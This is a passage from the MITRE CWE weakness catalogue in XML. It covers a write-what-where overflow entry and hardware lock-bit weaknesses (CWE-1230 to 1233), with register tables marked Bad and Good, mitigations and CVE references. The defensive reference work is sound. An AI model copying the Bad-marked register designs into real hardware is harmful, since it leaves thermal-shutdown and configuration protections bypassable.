               <Body_Text>This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Write-what-where condition</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR30-C</Entry_ID>
               <Entry_Name>Do not form or use out-of-bounds pointers or array subscripts</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR38-C</Entry_ID>
               <Entry_Name>Guarantee that library functions do not form invalid pointers</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR32-C</Entry_ID>
               <Entry_Name>Do not pass a non-null-terminated character sequence to a library function that expects a string</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Common_Consequences, Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1230" Name="Exposure of Sensitive Information Through Metadata" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information.</Description>
            <Extended_Description>
			  <xhtml:p>Developers might correctly prevent unauthorized access to a database or other resource containing sensitive information, but they might not consider that portions of the original information might also be recorded in metadata, search indices, statistical reports, or other resources.  If these resources are not also restricted, then attackers might be able to extract some or all of the original information, or otherwise infer some details.  For example, an attacker could specify search terms that are known to be unique to a particular person, or view metadata such as activity or creation dates in order to identify usage patterns.</xhtml:p>
            </Extended_Description>
            <Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
            </Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
	    <Modes_Of_Introduction>
               <Introduction>
                 <Phase>Architecture and Design</Phase>
               </Introduction>
	    </Modes_Of_Introduction>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-01-26</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1231" Name="Improper Prevention of Lock Bit Modification" Abstraction="Base" Structure="Simple" Status="Stable">
            <Description>The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set.</Description>
			<Extended_Description>
			  <xhtml:p>In integrated circuits and hardware
			  intellectual property (IP) cores, device configuration
			  controls are commonly programmed after a device power
			  reset by a trusted firmware or software module (e.g.,
			  BIOS/bootloader) and then locked from any further
			  modification.</xhtml:p>

			  <xhtml:p>This behavior is commonly implemented using a trusted lock bit. 
			  When set, the lock bit disables writes to a protected set of
			  registers or address regions. Design or coding errors in
			  the implementation of the lock bit protection feature
			  may allow the lock bit to be modified or cleared by
			  software after it has been set. Attackers might be able to unlock the system and
			  features that the bit is intended to protect.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                    <Note>Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Access Control</Scope>
                    <Impact>Modify Memory</Impact>
                    <Likelihood>High</Likelihood>
                    <Note>Registers protected by lock bit can be modified even when lock is set.</Note>
                </Consequence>
            </Common_Consequences>
	 <Detection_Methods>
	   <Detection_Method>
	     <Method>Manual Analysis</Method>
	     <Description>Set the lock bit. Power cycle the
	     device. Attempt to clear the lock bit.  If the
	     information is changed, implement a design
	     fix. Retest. Also, attempt to indirectly clear the lock
	     bit or bypass it.</Description>
	     <Effectiveness>High</Effectiveness>
	   </Detection_Method>
	 </Detection_Methods>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Phase>Testing</Phase>
                    <Description>
                        <xhtml:ul>
                            <xhtml:li>Security lock bit protections must be reviewed for design inconsistency and common weaknesses.</xhtml:li>
                            <xhtml:li>Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.</xhtml:li>
                        </xhtml:ul>
                    </Description>
                    <Effectiveness>High</Effectiveness>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by firmware, and then the register needs to be locked (TEMP_SENSOR_LOCK).</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:table>
                            <xhtml:tr>
                                <xhtml:th>Register</xhtml:th>
                                <xhtml:th>Field description</xhtml:th>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>CRITICAL_TEMP_LIMIT</xhtml:td>
                                <xhtml:td>[31:8] Reserved field; Read only; Default 0<xhtml:br/>[7:0] Critical temp 0-255 Centigrade; Read-write-lock; Default 125</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>TEMP_SENSOR_CALIB</xhtml:td>
                                <xhtml:td>[31:0] Thermal sensor calibration data. Slope value used to map sensor reading to degrees Centigrade.</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>TEMP_SENSOR_LOCK</xhtml:td>
                                <xhtml:td>[31:1] Reserved field; Read only; Default 0<xhtml:br/>[0] Lock bit, locks CRITICAL_TEMP_LIMIT and TEMP_SENSOR_CALIB registers; Write-1-once; Default 0</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>TEMP_HW_SHUTDOWN</xhtml:td>
                                <xhtml:td>[31:2] Reserved field; Read only; Default 0<xhtml:br/>[1] Enable hardware shutdown on critical temperature detection; Read-write; Default 0</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>CURRENT_TEMP</xhtml:td>
                                <xhtml:td>[31:8] Reserved field; Read only; Default 0<xhtml:br/>[7:0] Current Temp 0-255 Centigrade; Read-only; Default 0</xhtml:td>
                            </xhtml:tr>
                        </xhtml:table>
                    </Example_Code>
                    <Body_Text>In this example, note that if the system heats to critical temperature, the response of the system is controlled by the TEMP_HW_SHUTDOWN bit [1], which is not lockable. Thus, the intended security property of the critical temperature sensor cannot be fully protected, since software can misconfigure the TEMP_HW_SHUTDOWN register even after the lock bit is set to disable the shutdown response.</Body_Text>
                    <Example_Code Nature="Good">
                        <xhtml:p>To fix this weakness, one could change the TEMP_HW_SHUTDOWN field to be locked by TEMP_SENSOR_LOCK.</xhtml:p>
                        <xhtml:table>
                            <xhtml:tr>
                                <xhtml:td>TEMP_HW_SHUTDOWN</xhtml:td>
                                <xhtml:td>[31:2] Reserved field; Read only; Default 0 <xhtml:br/>[1] Enable hardware shutdown on critical temperature detection; Read-write-Lock; Default 0<xhtml:br/>[0] Locked by TEMP_SENSOR_LOCK</xhtml:td>
                            </xhtml:tr>
                        </xhtml:table>
                    </Example_Code>
                </Demonstrative_Example>
            </Demonstrative_Examples>
	    <Observed_Examples>
	      <Observed_Example>
		<Reference>CVE-2017-6283</Reference>
		<Description>chip reset clears critical read/write lock permissions for RSA function</Description>
		<Link>https://www.cve.org/CVERecord?id=CVE-2017-6283</Link>
	      </Observed_Example>
	    </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="680"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-01-15</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
				  <Contribution_Name>Narasimha Kumar V Mangipudi</Contribution_Name>
				  <Contribution_Organization>Lattice Semiconductor</Contribution_Organization>
				  <Contribution_Date>2021-10-20</Contribution_Date>
				  <Contribution_Comment>reviewed content changes</Contribution_Comment>
				</Contribution>
				<Contribution Type="Content">
				  <Contribution_Name>Hareesh Khattri</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-22</Contribution_Date>
				  <Contribution_Comment>provided observed example</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2021-10-28">Improper Implementation of Lock Protection Registers</Previous_Entry_Name>
            </Content_History>
        </Weakness>
      <Weakness ID="1232" Name="Improper Lock Behavior After Power State Transition" Abstraction="Base" Structure="Simple" Status="Incomplete">
      <Description>Register lock bit protection disables changes to system configuration once the bit is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes) causing the system configuration to be changeable.</Description>
      <Extended_Description>
        <xhtml:p>Devices may allow device configuration controls which need to be programmed after device power reset via a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. This action is commonly implemented using a programmable lock bit, which, when set, disables writes to a protected set of registers or address regions.</xhtml:p>
        <xhtml:p>After a power state transition, the lock bit is set to unlocked. Some common weaknesses that can exist in such a protection scheme are that the lock gets cleared, the values of the protected registers get reset, or the lock become programmable.</xhtml:p>
      </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
      <Applicable_Platforms>
        <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
        <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
        <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
        <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
        <Introduction>
          <Phase>Architecture and Design</Phase>
        </Introduction>
        <Introduction>
          <Phase>Implementation</Phase>
        </Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
        <Consequence>
          <Scope>Access Control</Scope>
          <Impact>Modify Memory</Impact>
          <Likelihood>High</Likelihood>
        </Consequence>
      </Common_Consequences>
      <Potential_Mitigations>
        <Mitigation>
          <Phase>Architecture and Design</Phase>
          <Phase>Implementation</Phase>
          <Phase>Testing</Phase>
          <Description>
            <xhtml:ul>
              <xhtml:li>Security Lock bit protections should be reviewed for behavior across supported power state transitions.</xhtml:li>
              <xhtml:li>Security lock programming flow and lock properties should be tested in pre-silicon and post-silicon testing including testing across power transitions.</xhtml:li>
            </xhtml:ul>
          </Description>
          <Effectiveness>High</Effectiveness>
        </Mitigation>
      </Potential_Mitigations>
      <Demonstrative_Examples>
        <Demonstrative_Example>
          <Intro_Text>
            <xhtml:p>Consider the memory configuration settings of a system that uses DDR3 DRAM memory. Protecting the DRAM memory configuration from modification by software is required to ensure that system memory access control protections cannot be bypassed. This can be done by using lock bit protection that locks all of the memory configuration registers. The memory configuration lock can be set by the BIOS during the boot process.</xhtml:p>
            <xhtml:p>If such a system also supports a rapid power on mode like hibernate, the DRAM data must be saved to a disk before power is removed and restored back to the DRAM once the system powers back up and before the OS resumes operation after returning from hibernate.</xhtml:p>
          </Intro_Text>
          <Body_Text>To support the hibernate transition back to the operating state, the DRAM memory configuration must be reprogrammed even though it was locked previously. As the hibernate resume does a partial reboot, the memory configuration could be altered before the memory lock is set. Functionally the hibernate resume flow requires a bypass of the lock-based protection. The memory configuration must be securely stored and restored by trusted system firmware. Lock settings and system configuration must be restored to the same state it was in before the device entered into the hibernate mode.</Body_Text>
        </Demonstrative_Example>
      </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="166"/>
         </Related_Attack_Patterns>
         <Content_History>
        <Submission>
          <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
          <Submission_Organization>Intel Corporation</Submission_Organization>
          <Submission_Date>2020-01-15</Submission_Date>
        </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="1233" Name="Security-Sensitive Hardware Controls with Missing Lock Bit Protection" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.</Description>
         <Extended_Description>
         	<xhtml:p>Integrated circuits and hardware intellectual properties (IPs) might provide device configuration controls that need to be programmed after device power reset by a trusted firmware or software module, commonly set by BIOS/bootloader. After reset, there can be an expectation that the controls cannot be used to perform any further modification. This behavior is commonly implemented using a trusted lock bit, which can be set to disable writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration).</xhtml:p>
		<xhtml:p>However, if the lock bit does not effectively write-protect all system registers or controls that could modify the protected system configuration, then an adversary may be able to use software to access the registers/controls and modify the protected hardware configuration.</xhtml:p>
		</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
			<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
			<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
			   <Impact>Modify Memory</Impact>
               <Note>System Configuration protected by the lock bit can be modified even when the lock is set.</Note>
            </Consequence>
         </Common_Consequences>
	 <Detection_Methods>
	   <Detection_Method>
	     <Method>Manual Analysis</Method>
	     <Description>Set the lock bit. Attempt to modify the
	     information protected by the lock bit. If the information
	     is changed, implement a design fix. Retest. Also, attempt
	     to indirectly clear the lock bit or bypass
	     it.</Description>
	     <Effectiveness>High</Effectiveness>
	   </Detection_Method>
	 </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Phase>Testing</Phase>
                    <Description>
                        <xhtml:ul>
                            <xhtml:li>Security lock bit protections must be reviewed for design inconsistency and common weaknesses.</xhtml:li>
			    <xhtml:li>Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.</xhtml:li>
                        </xhtml:ul>
                    </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by the firmware. 
               </Intro_Text>
               <Example_Code Nature="Bad" Language="Other">
				<xhtml:table>
				    <xhtml:tr>
				        <xhtml:th>Register</xhtml:th>
				        <xhtml:th>Field description</xhtml:th>
				    </xhtml:tr>
				<xhtml:tr>
				  <xhtml:td>CRITICAL_TEMP_LIMIT
				  </xhtml:td>
				  <xhtml:td>[31:8] Reserved field; Read only; Default 0<xhtml:br/>[7:0] Critical temp 0-255 Centigrade; Read-write-lock; Default 125
				  </xhtml:td>
				  </xhtml:tr>
				  <xhtml:tr>
				  <xhtml:td>TEMP_SENSOR_CALIB
				  </xhtml:td>
				  <xhtml:td>[31:0] Thermal sensor calibration data. A slope value used to map sensor reading to a degree Centigrade. Read-write; Default 25
				  </xhtml:td>
				  </xhtml:tr>
				  <xhtml:tr>
				  <xhtml:td>TEMP_SENSOR_LOCK
				  </xhtml:td>
				  <xhtml:td>[31:1] Reserved field; Read only; Default 0<xhtml:br/>[0] Lock bit, locks CRITICAL_TEMP_LIMIT register; Write-1-once; Default 0
				  </xhtml:td>
				  </xhtml:tr>
				  <xhtml:tr>
				  <xhtml:td>TEMP_HW_SHUTDOWN
				  </xhtml:td>
				  <xhtml:td>[31:2] Reserved field; Read only; Default 0<xhtml:br/>[1] Enable hardware shutdown on a critical temperature detection; Read-write; Default 0
				  </xhtml:td>
				  </xhtml:tr>
				  <xhtml:tr>
				  <xhtml:td>CURRENT_TEMP
				  </xhtml:td>
				  <xhtml:td>[31:8] Reserved field; Read only; Default 0<xhtml:br/>[7:0]   Current Temp 0-255 Centigrade; Read-only; Default 0 
				  </xhtml:td>
				  </xhtml:tr>
				  </xhtml:table>
               </Example_Code>				  
			   <Body_Text>
			   <xhtml:p>In this example note that only the CRITICAL_TEMP_LIMIT register is protected by the TEMP_SENSOR_LOCK bit, while the security design intent is to protect any modification of the critical temperature detection and response. 
			   </xhtml:p>
			   <xhtml:p>The response of the system, if the system heats to a critical temperature, is controlled by TEMP_HW_SHUTDOWN bit [1], which is not lockable. Also, the TEMP_SENSOR_CALIB register is not protected by the lock bit.
			   </xhtml:p>
			   <xhtml:p>By modifying the temperature sensor calibration, the conversion of the sensor data to a degree centigrade can be changed, such that the current temperature will never be detected to exceed critical temperature value programmed by the protected lock.
			   </xhtml:p>
			   <xhtml:p>Similarly, by modifying the TEMP_HW_SHUTDOWN.Enable bit, the system response detection of the current temperature exceeding critical temperature can be disabled.
			   </xhtml:p>
			   </Body_Text>
			   <Example_Code Nature="Good"><xhtml:p>Change TEMP_HW_SHUTDOWN and TEMP_SENSOR_CALIB controls to be locked by TEMP_SENSOR_LOCK.
			   </xhtml:p>
			   <xhtml:table>
				<xhtml:tr>
				  <xhtml:td>TEMP_SENSOR_CALIB
				  </xhtml:td>
				  <xhtml:td>[31:0] Thermal sensor calibration data. A slope value used to map sensor reading to a degree Centigrade. Read-write-Lock; Default 25; Locked by TEMP_SENSOR_LOCK bit[0]
				  </xhtml:td>
				  </xhtml:tr>
				  <xhtml:tr>
				  <xhtml:td>TEMP_HW_SHUTDOWN
				  </xhtml:td>
				  <xhtml:td>[31:2] Reserved field; Read only; Default 0<xhtml:p/>[1] Enable hardware shutdown on critical temperature detection; Read-write-Lock; Default 0; Locked by TEMP_SENSOR_LOCK bit[0]
				  </xhtml:td>
				  </xhtml:tr>
				  </xhtml:table>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
	    <Observed_Examples>
	      <Observed_Example>
		<Reference>CVE-2018-9085</Reference>
		<Description>Certain servers leave a write protection lock bit
		unset after boot, potentially allowing modification of
		parts of flash memory.</Description>
		<Link>https://www.cve.org/CVERecord?id=CVE-2018-9085</Link>
	      </Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2014-8273</Reference>
		  <Description>Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2014-8273</Link>
		</Observed_Example>
	      </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="176"/>
            <Related_Attack_Pattern CAPEC_ID="680"/>
         </Related_Attack_Patterns>
         <References>
		<Reference External_Reference_ID="REF-1237"/>
	      </References>
         <Content_History>
            <Submission>
                <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                <Submission_Organization>Intel Corporation</Submission_Organization>
                <Submission_Date>2020-01-15</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
